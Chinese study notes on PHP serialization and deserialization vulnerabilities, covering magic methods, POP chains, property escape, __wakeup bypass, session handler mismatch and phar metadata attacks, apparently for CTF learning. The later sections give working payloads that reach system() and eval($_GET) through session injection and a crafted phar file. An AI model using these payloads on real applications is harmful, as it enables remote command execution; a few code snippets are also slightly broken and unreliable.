该笔记大部分内容是依据B站橙子科技工作室陈腾老师的教学,学习php反序列化建议去学一下,讲的很不错
内容为学习笔记,如有侵权,联系删除
面向对象是相对于面向过程来说的,过程封装好,直接调用就行。
类就是一个共享相同结构和行为的对象的集合。
内部构成:成员变量(属性)和成员函数(方法)
类里面的变量不能直接调用,需要将类进行实例化之后才能调用
class MyClass {
var$var1; //成员变量,默认public
$var2 = "constant string"var
function myfunc ($arg1, $arg2) { //成员函数
[..]
}
[..]
}
?>
对象就是类的实例
$class = new Myclass
调用对象的方法
$class->myfun();
继承:子类能继承父类的一些属性
$this释义
在类或对象里面(成员方法内)去调用成员属性的时候,需要使用$this去调用,而不能直接调用
实例化与赋值:
$test = new test();
$test->name = 'xgren';
$test->team = 'rweb';
对象不能用echo输出,可以使用print_r( t e s t ) 或 v a r d u m p ( test)或var_dump( test)或vardump(test)输出
php手册:PHP: 魔术方法 - Manual
方法 | 作用 |
---|---|
__construct | 当一个对象创建时被调用 //实例化时 |
__destruct | 当一个对象销毁时被调用 |
__toString | 当一个对象被当作一个字符串使用 |
__sleep | 在对象被序列化之前运行 |
__wakeup | 在对象被反序列化之后被调用 |
__serialize | 对对象调用serialize()方法(PHP 7.4.0 起) |
__unserialize | 对对象调用unserialize()方法(PHP 7.4.0 起) |
__call | 在对象上下文中调用不可访问的方法时触发 |
__callStatic | 在静态上下文中调用不可访问的方法时触发 |
__get | 用于从不可访问的属性读取数据 |
__set | 用于将数据写入不可访问的属性 |
__isset | 在不可访问的属性上调用isset()或empty()触发 |
__unset | 在不可访问的属性上使用unset()时触发 |
__invoke | 将对象作为函数调用时触发 |
调用方法的示例
/**
* Class MyClass
* Magic函数演示
*/
class MyClass
{
public $var = "hello xgren\n";
public function echoString(){
echo $this->var;
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo "__destruct\n";
}
public function __toString(){
return "__toString\n";
}
}
// 创建一个新的对象,__construct被调用
$obj = new MyClass();
// 调用该类的方法
$obj->echoString();
// 以字符形式输出,__toString方法被调用
echo $obj;
// php脚本要结束时,__destruct会被调用
为什么设计魔术函数
更加方便,比如需要在创建时做一些什么事情,销毁时做什么事情等等
序列化:serialize
反序列化:unserialize
序列化的时候不会序列化成员方法,只会序列化成员属性
序列化代码示意
/**
* Class SerialType
* 不同类型的序列化演示
*/
class SerialType{
public $data;
private $pass;
const CONTRY = 'CHINA';
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 32;
$str = 'xgren';
$bool = false;
$null = NULL;
$arr = array('aa' => 1, 'bbbb' => 9);
$obj = new SerialType('somestr', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($obj));
var_dump(serialize(CONTRY));
序列化数据类型格式
类型 | 格式 |
---|---|
String | s:size:value; |
Integer | i:value; |
Boolean | b:value; (保存1或0) |
Null | N; |
Array | a:size:{key definition;value definition;(repeated per element)} |
Object | O:s strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)} |
注意,私有属性在序列化时需要在变量名前加“%00类名%00”,%00不显示,但占一个字符,受保护的在属性名前加%00*%00
除了有serialize方法可以序列化,还有一些别的方式也可以进行序列化
示例:
/**
* Class JsonClass
* JSON和XML序列化演示
*/
class JsonClass
{
public $word = "hello wuya";
public $prop = array('name' => 'xgren', 'age' => 31, 'motto' => 'Apple keep doctor');
}
$obj = new JsonClass();
// 转换对象为JSON字符串
$s = json_encode($obj);
// 转换对象为XML
$x = wddx_serialize_value($obj );
echo $s;
echo "\n";
echo $x;
在敏感信息不想被返回时,可以使用_sleep重写,重新定义返回值
例子:
/**
* Class User
* 演示序列化中不需要序列化的字段
*/
class User{
const SITE = 'wuya';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}
}
$user = new User('hackerwuya', 'xgren', '123456');
var_dump(serialize($user));
反序列化的将序列化的值还原为一个对象,然后,然后将还原后的对象也可以调用原类中的方法,如果传递的字符串不可以序列化,则返回 FALSE,如果对象没有预定义,反序列化得到的对象是__PHP_Incomplete_Class
作用
1、传输对象
2、用作缓存(Cookie、Session)
注意,如果对象被反序列化会自动调用unserialize()和wakeup()方法,如果同时定义,unserialize会生效,wakeup()会忽略(7.4.0版本后才会有这个规则,否则只会生效wakeup
反序列化时unserialize,时的参数是可控的,可以修改序列化字符串
条件:
可操作函数
类别 | 函数 |
---|---|
命令执行 | exec() |
passthru() | |
popen() | |
system() | |
文件操作 | file_put_contents() |
file_get_contents() | |
unlink() |
反推法一步步向上找,最终找到最开始触发的魔术方法destruct等,反序列化时先触发destruct
魔术方法触发规则
注意,触发魔术方法之前需要先把方法所在类实例化
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程POP( Property Oriented Programming)
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一个payload;
知识点1
反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸
知识点2
class A{
public $v1='a';
}
echo serialize(new A());
//O:1:"A":1:{s:2:"v1";s:1:"a";}
$b='O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b););
成员属性不对,会回显成员属性不对:bool(false),改为正常成员属性(2)就可以进行反序列化了,字符串长度也应该和字符串长度一致
知识点3
class A{
var $v1='a1';
var $v2='xgren1';
}
echo serialize(new A());
$b='O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v3";s:6:"xgren2";}';
var_dump(unserialize($b););
反序列化后的对象是:
class A#1 (3) {
public $v1 =>
string(1) "a"
public $v2 =>
string(6) "xgren1"
public $v3 =>
string(6) "xgren2"
}
会自动获取v2属性并反序列化
知识点4
class A{
public $v1 = "a\"b";
}
echo serialize(new A());
结果为:O:1:"A":1:{s:2:"v1";s:3:"a"b";}
字符串里面的“或}符号是字符还是格式符号,是由字符串长度3来决定的;
反序列化字符串减少逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
class A{
public $v1='ls';
public $v2='123';
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data =str_replace("ls","pwd",$data);
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
echo $data;
var_dump(unserialize($data));
长度不对不能反序列化,有一个字符被吐出来了;
漏洞成因:
如果存在_wakeup方法,调用unserialize方法前则先调用wakeup方法,但是序列化字符串中的表示对象属性个数的值大于真是属性的个数时,会绕过wakeup执行
版本:php:5—5.6.25;7—7.0.10
O:4:"test":2:{s:2:"v1";s:5:"xgren";s:2:"v2";s:3:"123"}
改为
O:4:"test":2:{s:2:"v1";s:5:"xgren";s:2:"v2";s:3:"123"}
就会绕过wakeup执行
题目意思大致是某属性的值是"*",然后我需要构造另外一属性的值,让他也等于星号,但是传进去星号后会被转码替换,然后怎么才能在不传星号的情况下相等,就可是使用引用这种方法,方法的大致意思大概就是将两个地址相同(个人愚见)
ctf出题一般会整一个随机值,然后让随机值相等,那就可以使用引用的方法
当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
存取数据的格式有很多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
三种方式和其对应的表达格式:
处理器 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过 serialize() 函数序列化处理的数组 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数反序列处理的值 |
漏洞的产生主要来源于php和php_serialize
php:
benben|s:6:"123456";
php_serialize:
a:2:{s:6:"benben";s:5:"12345";s:1:"b";s:3:"666";}
漏洞:
读取文件
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
写入session文件:
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
可以看到写入session文件用的是php_serialize方式写入,读入却用的是php方式读取
那我们就可以利用这一点,去构造恶意语句
class D{
var $a="system('id');";
}
echo serialize(new D());
输出结果:
O:1:"D":1:{s:1:"a";s:13:"system('id');";}
这时候在我们输入的时候,可以使用:
?a=|O:1:"D":1:{s:1:"a";s:13:"system('id');";}
加上一个竖线进行提交,那个写入后的值变为:
a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:13:"system('id');";}"}
但是在读取的时候使用了不同的规则,会把竖线前面的当作键值,后面的读为序列化后内容,那么就会被反序列化后去执行了。
phar文件类似于Java的jar文件,JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里使得部署过程十分简单。
phar(“Php ARchive”)是php里类似于jar的一种打包文件,对于php5.3或更高版本,phar后缀文件是默认开启支持的,可以直接使用它;
一般读这个文件使用文件包含;phar伪协议,可读取.phar文件;
该文件分为四个部分:
stub phar 文件标识,格式为 xxx; (头部信息)
manifest 压缩文件的属性等信息,以序列化存储;contents 压缩文件的内容;
signature 签名,放在文件未尾;
漏洞产生在manifest中
Phar伪协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
漏洞形成:
manifest压缩文件的属性等信息,以序列化方式存储,存在一段序列化字符串;如果调用phar伪协议,可读取.phar文件,phar在读取文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
条件:需要php>=5.2;联系环境需要将php.ini中将phar.readonly设为Off(注意去掉前面的分号)
能够调用的函数:
漏洞界面:
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
file_exists($filename),检验文件存不存在,返回布尔值;
生成phar文件:
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub(''); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
生成之后,使用phar伪协议,读取test.phar文件:
?filename=phar://test.phar
然后有就会自动触发对manifest字段的序列化字符串进行反序列化,存在反序列化就会自动触发destruct方法,进行eval执行,执行的是output的内容,output的内容是反序列化后的manifest的对象,又是一次eval执行,那么就可以直接在url出进行命令执行了;
?filename=phar://test.phar&a=system("ls");
就可以直接在页面执行,这个漏洞可以搭配文件上传使用,上传phar文件后进行读取。
phar使用条件:
该笔记大部分内容是依据B站橙子科技工作室陈腾老师的教学,学习php反序列化建议去学一下,讲的很不错